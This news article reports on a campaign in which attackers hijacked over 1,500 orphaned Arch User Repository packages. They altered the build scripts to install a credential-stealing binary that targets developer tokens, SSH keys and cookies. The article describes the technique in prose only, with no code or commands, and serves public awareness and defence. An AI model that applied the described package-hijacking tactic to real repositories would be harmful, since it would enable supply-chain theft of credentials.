The Arch Linux AUR has been affected by malware aimed at obtaining developer credentials.

      One of the largest open-source package repositories recently dedicated a weekend to addressing the aftermath of a malware campaign that did not necessitate a breach. The attackers took control of over 1,500 packages in the Arch User Repository (AUR), a community-managed software collection associated with Arch Linux's official repositories, and subtly altered their build instructions to install a credential-stealing malware on any system that compiled them. By Monday, the project had unusually decided to halt new account registrations while it resolved the issue.

      The number of affected packages was constantly changing. It began at approximately 400 packages, surged beyond 1,500 over the weekend, and one tracking list identified 1,579, which Arch described as “many, but not all” of those involved. Importantly, Arch's core distribution and its official repositories remained unaffected.

      This incident stands out due to the minimal hacking involved. The AUR relies on user submissions and is intentionally unsupported: Arch advises users to review a package’s build file before installation each time. There is no vetting process, by design.

      The attackers leveraged this lack of oversight. They took over “orphaned” packages, which had been abandoned by their maintainers, inheriting the names, histories, and trust those packages had established. Security firm Sonatype labeled the campaign “Atomic Arch” and reported that the attackers spoofed git commit data, making the changes appear to come from a long-time maintainer. A later confirmation from an Arch Trusted User indicated that this account was never actually compromised.

      Only the build instructions were modified. The altered scripts incorporated a malicious npm package, atomic-lockfile, which executed a hidden binary as soon as the package was built. The software appeared identical to what users intended to install, echoing the logic of the Miasma worm that affected 73 Microsoft GitHub repositories: undermine the trust, not the code.

      The payload, a Rust binary reverse-engineered by researcher Whanos, was specifically designed to target developers, which is significant since those who create AUR packages are the very individuals whose systems contain the keys to everything else. It collects browser cookies and session tokens, credentials from Slack, Discord, and Microsoft Teams, GitHub and npm tokens, HashiCorp Vault and OpenAI credentials, SSH keys, Docker logins, and VPN profiles, then sends this information out and returns to a remote server via Tor.

      These credentials could facilitate the next supply chain attack, following the pattern of last year’s compromised VS Code extension that affected thousands of GitHub repositories.

      Initial reports emphasized an eBPF “rootkit,” which warrants clarification. As The Hacker News points out, it is optional, only loads if the malware already has root access, and does not serve as the initial access point. When activated, it conceals the malware and obstructs debuggers, which is critical for one reason: if a compromised package executes with root privileges on a machine, simply removing it is insufficient; you must reinstall.

      Arch is no stranger to such incidents. A similar adoption tactic affected an abandoned PDF-viewer package back in 2018, and in 2025, the project survived a two-week denial-of-service attack along with a series of compromised browser packages containing a remote-access trojan.

      This event is part of a broader trend expected in 2026 where attackers increasingly hijack orphaned, trusted projects instead of resorting to typosquatting on new ones. This tactic now poses risks for AI coding agents directed at unfamiliar repositories as well. With around 13,000 orphaned packages still present in the AUR, the vulnerability is significant.

      Arch's maintainers are reversing the malicious commits and banning the accounts involved, and the guidance for users remains unchanged: review the build script before building and regard any recently adopted or suddenly active package with caution.

      The more complex issue is structural. A repository that prioritizes a package's name and history over the identity of the current maintainer has no solution beyond deciding how much longer to keep the door open to vulnerability.